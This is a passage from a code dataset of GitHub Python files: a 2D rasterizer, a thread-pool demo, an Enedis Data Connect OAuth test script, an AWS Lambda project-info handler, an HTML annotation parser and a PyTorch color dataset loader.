[Draw2D.maxFloat for t in range(self.width)] )\n        for y in range(self.height):\n            self.data[y] = array.array(\"B\", self.data0 )\n            self.zBuf[y] = array.array(\"f\", self.zBuf0 )\n        self.debug(\"init complete.\", timeit=timeit)\n\n    def clear(self):\n        # this once needed 0.5s\n        self.debug(\"reinit data and zBuffer\")\n        timeit=self.timeit()\n        self.data = [ [] for y in range(self.height) ]\n        self.zBuf = [ [] for y in range(self.height) ]\n        for y in range(self.height):\n            self.data[y] = array.array(\"B\", self.data0 )\n            self.zBuf[y] = array.array(\"f\", self.zBuf0 )\n        self.debug(\"reinit complete\", timeit=timeit)\n\n    def zIndex(self,x, y, zIndex=None):\n        x=int(x)\n        y=int(y)\n        if x<0 or y<0:\n            return 0.0  # outside the plane => show (TODO: this is a problem!)\n        if x>=self.width or y>=self.height:\n            return 0.0  # outside the plane => show (TODO: this is a problem!)\n        if zIndex is not None:\n            # set zIndex\n            try:\n                self.zBuf[y][x]=zIndex\n                return True\n            except IndexError:\n                return False\n        else:\n            # get zIndex\n            try:\n                return self.zBuf[y][x]\n            except IndexError:\n                # TODO: better way?\n                return -1\n\n    def set(self, x, y, r, g, b):\n        x=int(x)\n        y=int(y)\n        if x<0 or y<0:      # negative indexes are possible! But must be ignored!\n            return False\n        r=int(r)\n        g=int(g)\n        b=int(b)\n        x = x << 2          # x = x*4\n        try:\n            self.data[y][x]=r\n            self.data[y][x+1]=g\n            self.data[y][x+2]=b\n        except IndexError:\n            return False\n        return True\n\n    def get(self, x, y):\n        try:\n            x = x << 2      # x = x*4\n            return (self.data[y][x], self.data[y][x+1], self.data[y][x+2])\n        except IndexError:\n            return (-1, -1, -1)\n\n    def getColor(self, color=None):\n        if color==\"white\":\n            return (255, 255, 255)\n        elif color==\"black\":\n            return (0, 0, 0)\n        elif color==\"red\":\n            return (255, 0, 0)\n        elif color==\"green\":\n            return (0, 255, 0)\n        elif color==\"blue\":\n            return (0, 0, 255)\n        elif isinstance(color, tuple) or isinstance(color, list):\n            if len(color)==3:\n                return ( int(color[0]), int(color[1]), int(color[2]) )\n            else:\n                print(\"Draw2D() expects 3 numbers (R,G,B) for a tuple defined color\")\n                exit(0)\n        elif str(color)[0]==\"#\":\n            if len(color)==7:\n                return (int(color[1:3], 16), int(color[3:5], 16), int(color[5:7], 16))\n            else:\n                print(\"Draw2D() expects 3 numbers (R,G,B) for a tuple defined color\")\n                exit(0)\n        else:\n            print(color, \" is not a supported color\")\n            raise ValueError\n            return (255, 255, 255)\n\n    def point(self, x, y, color=\"white\", alpha=0, zIndex=None):  # alpha=0: solid, alpha=255: transp.\n        if color is None:\n            return False\n        color = self.getColor(color)\n        if alpha!=0:\n            # get the \"old\" point color\n            (r,g,b) = self.get(x, y)\n            # alpha it to \"black\", alpha=256: black (background), alpha=0 original color\n            color0=int( alpha/255.0*r + (255-alpha)/255.0*color[0] )\n            color1=int( alpha/255.0*g + (255-alpha)/255.0*color[1] )\n            color2=int( alpha/255.0*b + (255-alpha)/255.0*color[2] )\n            color=(color0, color1, color2)\n        else:\n            color=(color[0], color[1], color[2])\n        show=True\n        if zIndex is not None:\n            if self.zIndex(x,y)<zIndex:\n                show=False\n        if show is True:\n            self.set(x, y, *color)\n            if zIndex is not None:\n                self.zIndex(x, y, zIndex)\n\n    def points(self, x1, x2, y, color=None, alpha=0, zIndex=None):\n        # fill points between x1 and x2 in line y as fast as fast as possible. Optimizing\n        # polygon throughput. This is basically the same code as point, but it does many\n        # in a row at a time and this is much faster. Also because index checks are in\n        # polygon_fill itself.\n        if color is None:\n            return False\n        color = self.getColor(color)\n        xd = x1 << 2     # x=x*4, x for data (color array)\n        xi = x1          # x for zBuffer array\n        xdend = x2 << 2\n        while xd<=xdend:\n            zIndexAt = self.zBuf[y][xi]\n            if alpha!=0:\n                # get old colors\n                r = self.data[y][xd]\n                g = self.data[y][xd+1]\n                b = self.data[y][xd+2]\n                # alpha it to \"black\", alpha=256: black (background), alpha=0 original color\n                color0=int( alpha/255.0*r + (255-alpha)/255.0*color[0] )\n                color1=int( alpha/255.0*g + (255-alpha)/255.0*color[1] )\n                color2=int( alpha/255.0*b + (255-alpha)/255.0*color[2] )\n                color=(color0, color1, color2)\n            show=True\n            if zIndex is not None and alpha==0:\n                if zIndexAt<zIndex:\n                    show=False\n            if show is True:\n                self.data[y][xd]=color[0]\n                self.data[y][xd+1]=color[1]\n                self.data[y][xd+2]=color[2]\n                if zIndex is not None and alpha==0: # no z-Index for alpha>0\n                    self.zBuf[y][xi]=zIndex\n            xd+=4\n            xi+=1\n\n    def line(self, x0, y0, x1, y1, color=\"white\", alpha=0, thickness=1, antialias=False, zIndex=None):\n        if thickness==1:\n            if antialias is True:\n                return self.line_antialias(x0, y0, x1, y1, color=color, alpha=alpha, antialias=antialias, zIndex=zIndex)\n            else:\n                return self.line_bresenham(x0, y0, x1, y1, color=color, alpha=alpha, antialias=antialias, zIndex=zIndex)\n        # draw edge-lines with antialias, then \"center\" lines with bresenham\n        if antialias is True:\n            self.line_antialias(x0-thickness/2, y0-thickness/2, x1-thickness/2, y1-thickness/2, color, alpha, True, zIndex=zIndex)\n            self.line_antialias(x0+thickness/2, y0+thickness/2, x1+thickness/2, y1+thickness/2, color, alpha, True, zIndex=zIndex)\n        orient = False\n        while thickness/2.0>=1.0:\n            if orient is False:\n                adder=-1*thickness/2.0\n                orient=True\n            else:\n                adder=thickness/2.0\n                orient=False\n            self.line_bresenham(x0+adder, y0+adder, x1+adder, y1+adder, color=color, alpha=alpha, zIndex=zIndex)\n            thickness-=1\n\n    def line_bresenham(self, x0, y0, x1, y1, color=\"white\", alpha=0, antialias=False, zIndex=None):\n        # Bresenham's line algorithm\n        x0=int(x0)\n        y0=int(y0)\n        x1=int(x1)\n        y1=int(y1)\n        dx = abs(x1-x0)\n        sx = -1\n        if x0<x1:\n            sx = 1\n        dy = -abs(y1-y0)\n        sy = -1\n        if y0<y1:\n            sy = 1\n        err = dx+dy\n        while True:\n            self.point(x0, y0, color=color, alpha=alpha, zIndex=zIndex)\n            if x0==x1 and y0==y1:\n                break\n            e2 = 2*err\n            if e2>=dy:\n                err += dy\n                x0 += sx\n            if e2<=dx:\n                err += dx\n                y0 += sy\n\n    def line_antialias(self, x0, y0, x1, y1, color=\"white\", alpha=0, antialias=True, zIndex=None):\n        # Xiaolin Wu's antialias line algorithm\n        if antialias is False:\n            print(\"line_antialias() got antialias=False: should not have come to here.\")\n            exit(0)\n        if x0==x1 and y0==y1:\n            # this brakes line_antialias, gradient=float(dy)/float(dx), div by 0\n            return False\n            pass\n        ipart = lambda x: math.floor(x)\n        round = lambda x: ipart(x+0.5)\n        fpart = lambda x: x-math.floor(x)\n        rfpart = lambda x: 1-fpart(x)\n        steep = False\n        if abs(y1-y0)>abs(x1-x0):\n            steep = True\n        if steep:\n            t=x0\n            x0=y0\n            y0=t\n            t=y1\n            y1=x1\n            x1=t\n        if x0>x1:\n            t=x1\n            x1=x0\n            x0=t\n            t=y1\n            y1=y0\n            y0=t\n        dx = x1-x0\n        dy = y1-y0\n        gradient=float(dy)/float(dx)\n        if dx==0.0:\n            dx=1.0\n\n        xend=round(x0)\n        yend=y0+gradient*(xend-x0)\n        xgap=rfpart(x0+0.5)\n        xpxl1=xend\n        ypxl1=ipart(yend)\n        if steep:\n            self.point(ypxl1, xpxl1, color=color, alpha=255-rfpart(yend)*xgap*255, zIndex=zIndex)\n            self.point(ypxl1+1, xpxl1, color=color, alpha=255-fpart(yend)*xgap*255, zIndex=zIndex)\n        else:\n            self.point(xpxl1, ypxl1, color=color, alpha=255-rfpart(yend)*xgap*255, zIndex=zIndex)\n            self.point(xpxl1, ypxl1+1, color=color, alpha=255-fpart(yend)*xgap*255, zIndex=zIndex)\n        intery=yend+gradient\n\n        xend=round(x1)\n        yend=y1+gradient*(xend-x1)\n        xgap=fpart(x1+0.5)\n        xpxl2=xend\n        ypxl2=ipart(yend)\n        if steep:\n            self.point(ypxl2, xpxl2, color=color, alpha=255-rfpart(yend)*xgap*255, zIndex=zIndex)\n            self.point(ypxl2+1, xpxl2, color=color, alpha=255-fpart(yend)*xgap*255, zIndex=zIndex)\n        else:\n            self.point(xpxl2, ypxl2, color=color, alpha=255-rfpart(yend)*xgap*255, zIndex=zIndex)\n            self.point(xpxl2, ypxl2+1, color=color, alpha=255-fpart(yend)*xgap*255, zIndex=zIndex)\n\n        if steep:\n            for x in range(xpxl1+1, xpxl2-1):\n                self.point(ipart(intery), x, color=color, alpha=255-rfpart(intery)*255, zIndex=zIndex)\n                self.point(ipart(intery)+1, x, color=color, alpha=255-fpart(intery)*255, zIndex=zIndex)\n                intery=intery+gradient\n        else:\n            for x in range(xpxl1+1, xpxl2-1):\n                self.point(x, ipart(intery), color=color, alpha=255-rfpart(intery)*255, zIndex=zIndex)\n                self.point(x, ipart(intery)+1, color=color, alpha=255-fpart(intery)*255, zIndex=zIndex)\n                intery=intery+gradient\n\n    def polygon_fill(self, *kwargs, fill=None, alpha=0, zIndex=None):\n        # https://alienryderflex.com/polygon_fill/\n        polyCorners=len(kwargs)\n        # find min/max x, min/max y\n        minx=self.width-1\n        maxx=0\n        miny=self.height-1\n        maxy=0\n        for p in kwargs:\n            if p[0]<minx:\n                minx=p[0]\n            if p[0]>maxx:\n                maxx=p[0]\n            if p[1]<miny:\n                miny=p[1]\n            if p[1]>maxy:\n                maxy=p[1]\n        # polygon width out of range fixes:\n        if minx<0:\n            minx=0\n        if maxx>self.width-1:\n            maxx=self.width-1\n        if miny<0:\n            miny=0\n        if maxy>self.height-1:\n            maxy=self.height-1\n        for y in range(miny, maxy):\n            # build node list\n            nodes=0\n            nodeX=[]\n            j=polyCorners-1\n            for i in range(0, polyCorners):\n                poly=kwargs[i]\n                polyJ=kwargs[j]\n                if (poly[1]<y and polyJ[1]>=y) or (polyJ[1]<y and poly[1]>=y):\n                    nodeX.append( int(poly[0]+(y-poly[1])/(polyJ[1]-poly[1])*(polyJ[0]-poly[0])) )\n                    nodes+=1\n                j=i\n            # sort the nodes, bubble sort\n            i=0\n            while i<nodes-1:\n                if nodeX[i]>nodeX[i+1]:\n                    swap=nodeX[i]\n                    nodeX[i]=nodeX[i+1]\n                    nodeX[i+1]=swap\n                    if i>0:\n                        i-=1\n                else:\n                    i+=1\n            # fill the pixels between node pairs\n            for i in range(0, nodes, 2):\n                if nodeX[i] >= self.width-1:\n                    break\n                if nodeX[i+1] > 0:\n                    if nodeX[i]<0:\n                        nodeX[i]=0\n                    if nodeX[i+1]>self.width-1:\n                        nodeX[i+1]=self.width-1\n                    self.points(nodeX[i], nodeX[i+1], y, color=fill, alpha=alpha, zIndex=zIndex)\n\n    def polygon(self, *kwargs, fill=None, stroke=None, alpha=0, antialias=False, zIndex=None):\n        # NOTE: fill and stroke must be None, if not a None from outside results in the\n        #       default color\n        p0 = kwargs[0]\n        pl = kwargs[0]\n        # always fill for zIndex:\n        if fill is not None:\n            self.polygon_fill(*kwargs, fill=fill, alpha=alpha, zIndex=zIndex)\n        if stroke is not None:\n            for i in range(1,len(kwargs)):\n                p=kwargs[i]\n                self.line(pl[0], pl[1], p[0], p[1], color=stroke, alpha=alpha, antialias=antialias, zIndex=zIndex)\n                pl=p\n            self.line(pl[0], pl[1], p0[0], p0[1], color=stroke, alpha=alpha, antialias=antialias, zIndex=zIndex)\n\n    def polygon_end(self):\n        # signal threads that they may end\n        self.poly_end = True\n\n    def image(self):\n        # return image as rawimage RGBA, 4 Byte (bytes() array) per pixel\n        self.debug(\"draw2d.image() start\", self.width, self.height)\n        timeit = self.timeit()\n        data = bytearray(0) # 4xbyte, R, G, B, A\n        # we fake RGBA, because we use x = x << 2 bit shift operators to make\n        # pixel calculus faster\n        for y in range(0, self.height):\n            data.extend(self.data[y])\n            assert(len(self.data[y])==self.width*4)\n            assert(len(data)==(y+1)*self.width*4)\n        self.debug(\"draw2d.image() complete.\", timeit=timeit)\n        return bytes(data)\n","repo_name":"frazy81/Singulersum","sub_path":"Singulersum/Draw2D.py","file_name":"Draw2D.py","file_ext":"py","file_size_in_byte":17284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31042929060","text":"'''\n\n    This code is written for python version 3.8\n    thread pool executer is in concurrent.futures module\n\n    A future or promise can be thought of as a value that will eventually become available.\n    http://dist-prog-book.com/chapter/2/futures.html\n    https://en.wikipedia.org/wiki/Futures_and_promises \n    \n'''\n\nimport concurrent.futures\nimport time\n\nstart = time.perf_counter()\n\ndef do_somthing(seconds):\n    print(f'Sleeping {seconds} second(s)...')\n    time.sleep(seconds)\n    return 'Done Sleeping...'\n\nwith concurrent.futures.ThreadPoolExecutor() as executor:\n    \n    futures = [executor.submit(do_somthing, 1.7) for _ in range(10)]\n\n    # [print(future.result()) for future in futures] \n\n    for f in concurrent.futures.as_completed(futures):\n        print(f.result())\n\nfinish = time.perf_counter() \nprint(f'Finished in {round(finish-start, 2)} seconds(s)')","repo_name":"MaclaurinYudhisthira/Python-concurrency","sub_path":"Threading/05_thread_pool_exec.py","file_name":"05_thread_pool_exec.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"11113835353","text":"#################################################################################\n# Author : G. HUSSON - Liberasys - contact_dataconnect _@_ liberasys.com - 2019 #\n# License : EUPL v1.2 - see : https://eupl.eu/1.2/en/                           #\n#################################################################################\n\n# This is a simple Python code in order to tests requests to the\n# Enedis data connect test API\n\nimport requests\nimport json\nimport re\nimport sys\nimport os\nfrom urllib import parse as urlparse\n\n\n# Before launch this script you must export your credentials\nprint(f\"{os.environ['client_id']}\\n{os.environ['redirect_uri']}\")\nclient_id = os.environ['client_id']\nclient_secret = os.environ['client_secret']\nredirect_uri = os.environ['redirect_uri']\n\n\nauthorize_url = \"https://gw.hml.api.enedis.fr/group/espace-particuliers/consentement-linky/oauth2/authorize\"\nendpoint_token_url = \"https://gw.hml.api.enedis.fr/v1/oauth2/token\"\nmetering_data_base_url = \"https://gw.hml.api.enedis.fr\"\n\n\ndef pretty_print_request(req):\n    print('{}\\n{}\\n{}\\n{}\\n{}\\n'.format(\n        '-----------REQ START-----------',\n        req.method + ' ' + req.url,\n        '\\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),\n        req.body,\n        '-----------REQ STOP-----------',\n    ))\n\n########### Authorize (green button, call back by the customer browser)\nprint(\"################################################################################\")\nprint(\"# Authorize ((green button, call back by the customer browser)                 #\")\nprint(\"################################################################################\")\n\nauthorize_duration = \"P1Y4M\"\nstate = 'abcd12e'\n\nreq_params = {\n             'client_id': client_id,\n             'response_type': 'code',\n             'redirect_uri':redirect_uri,\n             'state': state,\n             'duration': authorize_duration\n             }\n\n# Forge and print request\nhttp_request = requests.Request(\"GET\", authorize_url, params=req_params)\nhttp_request_prepared = http_request.prepare()\npretty_print_request(http_request_prepared)\n\n# Send request\nhttp_session = requests.Session()\nhttp_return = http_session.send(http_request_prepared)\n\n# Print request result\nprint(http_return.status_code)\nprint(http_return.text)\n#print(http_return.json)\n\n# Parse request result\ncallback_found = re.findall(r'var url = \\\".*\\\"', http_return.text)\ncallback_url = callback_found[0].split('\\\"')[1]\ncallback_url_parsed = urlparse.urlparse(callback_url)\ncallback_authorize_code = urlparse.parse_qs(callback_url_parsed.query, True)['code'][0]\ncallback_state = urlparse.parse_qs(callback_url_parsed.query, True)['state'][0]\ncallback_usage_point_id = urlparse.parse_qs(callback_url_parsed.query, True)['usage_point_id'][0]\nprint (\"callback auth_code = \", callback_authorize_code)\nprint (\"callback state = \", callback_state)\nprint (\"callback usage_point_id = \", callback_usage_point_id)\n\n\nprint(\"################################################################################\")\nprint(\"# Request new Endpoint Token ###################################################\")\nprint(\"################################################################################\")\n\nreq_head = {\n           'Content-Type': 'application/x-www-form-urlencoded',\n           'Accept': 'text/html'\n           }\nreq_params = {\n             'redirect_uri': redirect_uri,\n            }\nreq_data = {\n           'grant_type': 'authorization_code',\n           'client_id': client_id,\n           'client_secret': client_secret,\n           'code': callback_authorize_code\n           }\n\n# Forge and print request\nhttp_request = requests.Request(\"POST\", endpoint_token_url, headers=req_head, params=req_params, data=req_data)\nhttp_request_prepared = http_request.prepare()\npretty_print_request(http_request_prepared)\n\n# Send request\nhttp_session = requests.Session()\nhttp_return = http_session.send(http_request_prepared)\n\n# Print request result\nprint(http_return.status_code)\nprint(http_return.text)\n#print(http_return.json)\n\n# Parse request result\nendpoint_token_returned_json = json.loads(http_return.text)\n\n\nprint(\"################################################################################\")\nprint(\"# Request data : consumption max power #########################################\")\nprint(\"################################################################################\")\nstart_date = '2021-09-14'\nend_date = '2021-09-15'\nmetering_data_api_path = f'/v4/metering_data/daily_consumption_max_power'\nrequest_url = metering_data_base_url + metering_data_api_path\ntoken_type = endpoint_token_returned_json['token_type']\ntoken = endpoint_token_returned_json['access_token']\n\nreq_head = {\n           'Accept': 'application/json',\n           'Authorization': token_type + ' ' + token\n           }\n\nreq_params = {\n           'start': start_date,\n           'end': end_date,\n           'usage_point_id':callback_usage_point_id\n           }\n\n# Forge and print request\nhttp_request = requests.Request(\"GET\", request_url, headers=req_head, params=req_params)\nhttp_request_prepared = http_request.prepare()\npretty_print_request(http_request_prepared)\n\n# Send request\nhttp_session = requests.Session()\nhttp_return = http_session.send(http_request_prepared)\n\n# Print request result\nprint(http_return.status_code)\nprint(http_return.text)\n#print(http_return.json)\n\n\n\nprint(\"################################################################################\")\nprint(\"# Request data : consumption load curve ########################################\")\nprint(\"################################################################################\")\nstart_date = '2021-09-14'\nend_date = '2021-09-15'\nmetering_data_api_path = '/v4/metering_data/consumption_load_curve'\nrequest_url = metering_data_base_url + metering_data_api_path\ntoken_type = endpoint_token_returned_json['token_type']\ntoken = endpoint_token_returned_json['access_token']\n\nreq_head = {\n           'Accept': 'application/json',\n           'Authorization': token_type + ' ' + token\n           }\n\nreq_params = {\n           'start': start_date,\n           'end': end_date,\n           'usage_point_id':callback_usage_point_id\n           }\n\n# Forge and print request\nhttp_request = requests.Request(\"GET\", request_url, headers=req_head, params=req_params)\nhttp_request_prepared = http_request.prepare()\npretty_print_request(http_request_prepared)\n\n# Send request\nhttp_session = requests.Session()\nhttp_return = http_session.send(http_request_prepared)\n\n# Print request result\nprint(http_return.status_code)\nprint(http_return.text)\n#print(http_return.json)\n\n\n\nprint(\"################################################################################\")\nprint(\"# Request data : daily consumption ########################################\")\nprint(\"################################################################################\")\nstart_date = '2021-09-14'\nend_date = '2021-09-15'\nmetering_data_api_path = f'/v4/metering_data/daily_consumption'\nrequest_url = metering_data_base_url + metering_data_api_path\ntoken_type = endpoint_token_returned_json['token_type']\ntoken = endpoint_token_returned_json['access_token']\n\nreq_head = {\n           'Accept': 'application/json',\n           'Authorization': token_type + ' ' + token\n           }\n\nreq_params = {\n           'start': start_date,\n           'end': end_date,\n           'usage_point_id':callback_usage_point_id\n           }\n\n# Forge and print request\nhttp_request = requests.Request(\"GET\", request_url, headers=req_head, params=req_params)\nhttp_request_prepared = http_request.prepare()\npretty_print_request(http_request_prepared)\n\n# Send request\nhttp_session = requests.Session()\nhttp_return = http_session.send(http_request_prepared)\n\n# Print request result\nprint(http_return.status_code)\nprint(http_return.text)\n#print(http_return.json)\n","repo_name":"consometers/data-connect","sub_path":"examples/dataconnect.py","file_name":"dataconnect.py","file_ext":"py","file_size_in_byte":7837,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"}
+{"seq_id":"41301034336","text":"from lambda_base_class import LambdaBaseClass\nimport json\nimport boto3\nimport hashlib\nimport hmac\nimport base64\nimport os\nfrom decimal import Decimal\n\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom utils import convert_response, aws_get_identity_id, dydb_get_project_id, dydb_get_project_full\n\nUSERPOOLID = os.environ['COGNITO_USER_POOL']\nCLIENTPOOLID = os.environ['COGNITO_CLIENT_ID']\nIDENTITY_POOL = os.environ['IDENTITY_POOL']\n\n\ndef get_running_task(table_name, db_resource, ls_tasks, identity_id, res_projectid, task_type=\"\"):\n    table = db_resource.Table(table_name)\n    item_tasks = table.query(\n        ProjectionExpression='project_id, task_id, process_type',\n        KeyConditionExpression=Key('identity_id').eq(identity_id),\n        FilterExpression=Attr('status').ne('FINISH') & Attr('status').ne(\n            'ERROR') & Attr('status').ne('CANCEL') & Attr('project_id').eq(res_projectid)\n    )\n    for item in item_tasks['Items']:\n        ls_tasks.append({\n            \"task_id\": item.get('task_id', ''),\n            \"process_type\": item.get('process_type', task_type)\n        })\n    return ls_tasks\n\n\ndef from_dynamodb_to_json(item):\n    # print(f\"Item to serialize: \\n {item}\")\n    for method, param in item.items():\n        for key, value in param.items():\n            if type(value) is Decimal:\n                param[key] = float(value)\n\n    # print(f\"Result after serialize: \\n {serialize}\")\n    return item\n\n\nclass ProjectInfoCls(LambdaBaseClass):\n    def __init__(self) -> None:\n        super().__init__()\n\n    def parser(self, body):\n        self.id_token = body[\"id_token\"]\n        self.project_name = body[\"project_name\"]\n\n    def handle(self, event, context):\n        self.parser(json.loads(event['body']))\n        try:\n            identity_id = aws_get_identity_id(\n                \n                self.id_token, USERPOOLID, IDENTITY_POOL)\n        except Exception as e:\n            print('Error: ', repr(e))\n            return convert_response({\"error\": True,\n                                    \"success\": False,\n                                     \"message\": repr(e),\n                                     \"data\": None})\n\n        db_resource = boto3.resource('dynamodb')\n        # get project_id\n        try:\n            table = db_resource.Table(os.environ['TABLE_PROJECT'])\n            res_project = dydb_get_project_full(\n                table, identity_id, self.project_name)\n\n            # print(res_projectid)\n            res_projectid = res_project['project_id']\n            is_sample = res_project.get(\"is_sample\", False)\n            # default is finish, else GENERATING\n            gen_status = res_project.get(\"gen_status\", \"FINISH\")\n            res_times_generated = int(res_project.get('times_generated', 0))\n            reference_images = res_project.get(\"reference_images\", {})\n            aug_params = res_project.get(\"aug_parameters\", {})\n            reference_info = {}\n            for method, s3_path in reference_images.items():\n                filename = s3_path.split(\"/\")[-1]\n                reference_info[method] = {\n                    \"s3_path\": s3_path,\n                    \"filename\": filename\n                }\n\n        except Exception as e:\n            print('Error: ', repr(e))\n            return convert_response({\"error\": True,\n                                    \"success\": False,\n                                      \"message\": repr(e),\n                                      \"data\": None})\n\n        # get info detail of a project\n        try:\n            table = db_resource.Table(os.environ['TABLE_PROJECT_SUMMARY'])\n            response = table.query(\n                KeyConditionExpression=Key('project_id').eq(res_projectid),\n            )\n            # print(response)\n        except Exception as e:\n            print('Error: ', repr(e))\n            return convert_response({\"error\": True,\n                                    \"success\": False,\n                                      \"message\": repr(e),\n                                      \"data\": None})\n\n        if response.get('Items', None):\n            groups = {}\n            for item in response['Items']:\n                type = item['type']\n                data_num = res_project.get(type, None)\n                if data_num is not None:\n                    data_num = [int(a) for a in data_num]\n                groups[type] = {\n                    'count': int(item['count']),\n                    'size': int(item['total_size']),\n                    'data_number': data_num\n                }\n\n            # get running tasks of project\n            ls_tasks = []\n            # get task of generation\n            ls_tasks = get_running_task(\n                os.environ['TABLE_TASK'], db_resource, ls_tasks, identity_id, res_projectid)\n            ls_tasks = get_running_task(\n                os.environ[\"TABLE_HEALTHCHECK_TASK\"], db_resource, ls_tasks, identity_id, res_projectid, \"HEALTHCHECK\")\n            ls_tasks = get_running_task(\n                os.environ[\"TABLE_DATA_FLOW_TASK\"], db_resource, ls_tasks, identity_id, res_projectid)\n            ls_tasks = get_running_task(\n                os.environ[\"TABLE_REFERENCE_IMAGE_TASK\"], db_resource, ls_tasks, identity_id, res_projectid)\n\n            return convert_response({'data': {\n                \"identity_id\": identity_id,\n                \"project_name\": self.project_name,\n                \"project_id\": res_projectid,\n                \"times_generated\": res_times_generated,\n                \"is_sample\": is_sample,\n                \"gen_status\": gen_status,\n                \"ls_task\": ls_tasks,\n                \"groups\": groups,\n                \"reference_images\": reference_info,\n                \"aug_parameters\": from_dynamodb_to_json(aug_params)\n            },\n                \"error\": False,\n                \"success\": True,\n                \"message\": None})\n        else:\n            return convert_response({'data': {\n                \"identity_id\": identity_id,\n                \"project_name\": self.project_name,\n                \"project_id\": res_projectid,\n                \"times_generated\": res_times_generated,\n                \"is_sample\": is_sample,\n                \"gen_status\": gen_status,\n                \"ls_task\": [],\n                \"groups\": None,\n                \"reference_images\": reference_info,\n                \"aug_parameters\": from_dynamodb_to_json(aug_params)\n            },\n                \"error\": False,\n                \"success\": True,\n                \"message\": None})\n\n\ndef lambda_handler(event, context):\n    return ProjectInfoCls().handle(event=event,  context=context)\n\n","repo_name":"daita-technologies/backend","sub_path":"daita-app/core-service/functions/handlers/project/project_info/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6594,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"23638324779","text":"# -*- coding: utf8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division, print_function, unicode_literals\n\nfrom itertools import groupby\nfrom lxml.sax import saxify, ContentHandler\nfrom .utils import is_blank, shrink_text\nfrom ._compat import to_unicode\n\n\n_SEMANTIC_TAGS = frozenset((\n    \"a\", \"abbr\", \"acronym\", \"b\", \"big\", \"blink\", \"blockquote\", \"cite\", \"code\",\n    \"dd\", \"del\", \"dfn\", \"dir\", \"dl\", \"dt\", \"em\", \"h\", \"h1\", \"h2\", \"h3\", \"h4\",\n    \"h5\", \"h6\", \"i\", \"ins\", \"kbd\", \"li\", \"marquee\", \"menu\", \"ol\", \"pre\", \"q\",\n    \"s\", \"samp\", \"strike\", \"strong\", \"sub\", \"sup\", \"tt\", \"u\", \"ul\", \"var\",\n))\n\n\nclass AnnotatedTextHandler(ContentHandler):\n    \"\"\"A class for converting a HTML DOM into annotated text.\"\"\"\n\n    @classmethod\n    def parse(cls, dom):\n        \"\"\"Converts DOM into paragraphs.\"\"\"\n        handler = cls()\n        saxify(dom, handler)\n        return handler.content\n\n    def __init__(self):\n        self._content = []\n        self._paragraph = []\n        self._dom_path = []\n\n    @property\n    def content(self):\n        return self._content\n\n    def startElementNS(self, name, qname, attrs):\n        namespace, name = name\n\n        if name in _SEMANTIC_TAGS:\n            self._dom_path.append(to_unicode(name))\n\n    def endElementNS(self, name, qname):\n        namespace, name = name\n\n        if name == \"p\" and self._paragraph:\n            self._append_paragraph(self._paragraph)\n        elif name in (\"ol\", \"ul\", \"pre\") and self._paragraph:\n            self._append_paragraph(self._paragraph)\n            self._dom_path.pop()\n        elif name in _SEMANTIC_TAGS:\n            self._dom_path.pop()\n\n    def endDocument(self):\n        if self._paragraph:\n            self._append_paragraph(self._paragraph)\n\n    def _append_paragraph(self, paragraph):\n        paragraph = self._process_paragraph(paragraph)\n        self._content.append(paragraph)\n        self._paragraph = []\n\n    def _process_paragraph(self, paragraph):\n        current_paragraph = []\n\n        for annotation, items in groupby(paragraph, key=lambda i: i[1]):\n            if annotation and \"li\" in annotation:\n                for text, _ in items:\n                    text = shrink_text(text)\n                    current_paragraph.append((text, annotation))\n            else:\n                text = \"\".join(i[0] for i in items)\n                text = shrink_text(text)\n                current_paragraph.append((text, annotation))\n\n        return tuple(current_paragraph)\n\n    def characters(self, content):\n        if is_blank(content):\n            return\n\n        if self._dom_path:\n            pair = (content, tuple(sorted(frozenset(self._dom_path))))\n        else:\n            pair = (content, None)\n\n        self._paragraph.append(pair)\n","repo_name":"bookieio/breadability","sub_path":"breadability/annotated_text.py","file_name":"annotated_text.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":203,"dataset":"github-code","pt":"37"}
+{"seq_id":"73336505386","text":"import pandas as pd\nimport torch\nfrom color_generator.datasets.dataset import DefaultDataset, _parse_args\nfrom transformers import AutoTokenizer\n\n\nclass ColorsDataset(DefaultDataset):\n    def __init__(\n        self,\n        path,\n        val_size=0.1,\n        test_size=0.15,\n        batch_size=32,\n        num_workers=4,\n        architecture=\"distilbert-base-uncased\",\n    ):\n        self.path = path\n        self.test_size = test_size\n        self.val_size = val_size\n        self.batch_size = batch_size\n        self.num_workers = num_workers\n        self.architecture = architecture\n        self.train = None\n        self.test = None\n        self.val = None\n        self._color_names = None\n        self._inputs = None\n        self._targets = None\n\n        self.load_and_generate_data()\n\n    def load_and_generate_data(self):\n        \"\"\"Generate preprocessed data from a file\"\"\"\n        self._color_names, self._inputs, self._targets = _load_and_process_colors(\n            self.path, self.architecture\n        )\n\n    def __getitem__(self, index):\n        \"\"\"Get item\"\"\"\n        item = dict.fromkeys(self._inputs, {})\n        item[\"input_ids\"] = self._inputs[\"input_ids\"][index]\n        item[\"attention_mask\"] = self._inputs[\"attention_mask\"][index]\n        item[\"target\"] = _norm(self._targets[index])\n\n        return item\n\n    def __len__(self):\n        return len(self._color_names)\n\n\ndef _norm(rgb_list):\n    return torch.tensor([value / 255.0 for value in rgb_list])\n\n\ndef _load_and_process_colors(path, architecture):\n    def rgb_to_list(x):\n        return [x[\"red\"], x[\"green\"], x[\"blue\"]]\n\n    path_to_data = ColorsDataset.data_dirname() / path\n    dataset = pd.read_csv(path_to_data)\n\n    names = dataset[\"name\"].tolist()\n    tokenizer = AutoTokenizer.from_pretrained(architecture, use_fast=False)\n    tokenized = tokenizer(names, padding=True, return_tensors=\"pt\")\n    rgb = dataset.apply(rgb_to_list, axis=1).tolist()\n\n    return names, tokenized, rgb\n\n\ndef main():\n    \"\"\"\n    Load and preprocess colors.\n    \"\"\"\n\n    args = _parse_args()\n\n    # dataset\n    dataset = ColorsDataset(\n        path=args.path,\n        test_size=args.test_size,\n        val_size=args.val_size,\n        batch_size=args.batch_size,\n        num_workers=args.num_workers,\n    )\n\n\nif __name__ == \"__main__\":\n    